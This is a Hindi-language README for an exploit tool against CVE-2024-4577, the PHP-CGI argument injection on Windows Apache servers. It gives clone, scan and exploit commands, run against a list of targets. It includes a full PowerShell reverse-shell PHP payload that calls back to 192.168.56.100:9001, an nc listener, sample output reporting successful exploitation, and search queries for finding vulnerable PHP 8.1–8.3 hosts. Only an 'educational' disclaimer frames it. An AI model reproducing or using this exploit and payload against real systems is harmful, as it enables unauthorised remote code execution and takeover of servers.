
PHP CGI Argument Injection (CVE-2024-4577) के लिए एक्सप्लॉइट जो Apache और PHP-CGI चलाने वाले असुरक्षित Windows सर्वरों पर रिमोट कोड निष्पादन सक्षम करता है। इसमें स्कैनिंग, शोषण और रिवर्स शेल पेलोड डिलीवरी शामिल है।
PHP संस्करण 8.1.* (8.1.29 से पहले), 8.2.* (8.2.20 से पहले), 8.3.* (8.3.8 से पहले) में, जब Windows पर Apache और PHP-CGI का उपयोग किया जाता है, यदि सिस्टम कुछ कोड पेजों का उपयोग करने के लिए सेट किया गया है, तो Windows Win32 API फ़ंक्शंस को दी गई कमांड लाइन में वर्णों को बदलने के लिए "Best-Fit" व्यवहार का उपयोग कर सकता है। PHP CGI मॉड्यूल उन वर्णों को PHP विकल्पों के रूप में गलत समझ सकता है, जो एक दुर्भावनापूर्ण उपयोगकर्ता को चल रहे PHP बाइनरी में विकल्प पास करने की अनुमति दे सकता है, और इस प्रकार स्क्रिप्ट के स्रोत कोड को प्रकट कर सकता है, सर्वर पर मनमाना PHP कोड चला सकता है, आदि।
"XAMPP डिफ़ॉल्ट कॉन्फ़िगरेशन में कमजोर है, और हम /php-cgi/php-cgi.exe एंडपॉइंट को लक्षित कर सकते हैं। किसी .php एंडपॉइंट (जैसे /index.php) को लक्षित करने के लिए, सर्वर को PHP स्क्रिप्ट्स को CGI मोड में चलाने के लिए कॉन्फ़िगर किया जाना चाहिए।"
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] यह उपकरण यथार्थवादी हमले और तकनीकों (TTPs) का प्रदर्शन करता है। हालांकि यह विशिष्ट पेलोड नमूना इस परिदृश्य में कार्य नहीं करता है। पूरी तरह कार्यात्मक पेलोड प्राप्त करने के लिए shell.php को संशोधित करें।
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"यह उपकरण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। निर्माता उपकरण द्वारा किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।